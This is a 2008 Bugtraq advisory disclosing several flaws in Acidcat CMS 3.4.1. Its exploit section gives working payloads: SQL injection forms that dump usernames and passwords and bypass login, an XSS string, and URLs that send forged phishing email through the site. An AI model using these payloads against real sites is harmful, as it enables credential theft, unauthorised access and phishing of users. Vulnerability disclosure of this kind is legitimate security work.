bugtraq - Acidcat CMS Multiple Vulnerabilities

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Date: 20 Apr 2008 07:06:22 -0000
From: admin@...report.ir
To: bugtraq@...urityfocus.com
Subject: Acidcat CMS Multiple Vulnerabilities

########################## www.BugReport.ir #######################################
#
#      AmnPardaz Security Research Team
#
# Title: Acidcat CMS Multiple Vulnerabilities. 
# Vendor: www.acidcat.com
# Vulnerable Version: 3.4.1
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/36
###################################################################################


####################
1. Description:
####################
Acidcat CMS is a web site and simple Content Management System that can be administered via a web browser.

####################
2. Vulnerability:
####################
	2.1. There is a SQL Injection in "default.asp". By using it, attacker can gain usernames and encrypted passwords.
		2.1.1. POC:
				Check the exploit section.
	2.2. There is a logical vulnerability in which attacker can send email by the site without any permission.
		2.2.1. POC:
				Check the exploit section.
	2.3. There is a SQL Injection in "main_login2.asp". By using it, attacker can login to the site.
		2.3.1. POC:
				Check the exploit section.
	2.4. There is a XSS in "/admin/admin_colors_swatch.asp".
		2.4.1. POC:
				/admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText
	2.5. There is a FckEditor which has no permission, and attacker can upload his/her file.
		2.5.1. POC:
				/admin/fckeditor/editor/filemanager/connectors/test.html
####################
3. Exploits:
####################
 
Original Exploit URL: http://bugreport.ir/index.php?/36/exploit

	3.1. Attacker can gain usernames and passwords:
	-------------
		<form action="http://[The URL]/default.asp?formType=&itemID=" method="post">
		<input type="text" name="cID" id="cID" value="-1 union select 1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" />
		<br />
		<input type="submit" value="Submit" />
		</form>

	-------------
	3.2. Attacker can send email without any permission:
 	-------------
		default_mail_aspemail.asp? AcidcatSend=1&From=Fake@...e.com&FromName=FakeAdmin&To=Victim@...il.com&Subject=Forgery&Body=Change your password to 123456!
									
		default_mail_cdosys.asp? AcidcatSend=1&From=Fake@...e.com&FromName=FakeAdmin&To=Victim@...il.com&Subject=Forgery&Body=Change your password to 123456!
		
		default_mail_jmail.asp? AcidcatSend=1&From=Fake@...e.com&FromName=FakeAdmin&To=Victim@...il.com&Subject=Forgery&Body=Change your password to 123456!
	-------------
	3.3. Attacker can login to the site:
	-------------
		<form action="main_login2.asp" method="post">
		<input type="hidden" name="username" id="username" value="FooNot' union select 1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user where Username='1'or'1'='1'or'1'='1" size="200"/>
		<br />
		<input type="hidden" name="password" id="password" value="0" />
		<br />
		<input type="submit" value="Click To Login!" />
		</form>
	-------------
####################
4. Solution:
####################
	Edit the source code to ensure that inputs are properly sanitized.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
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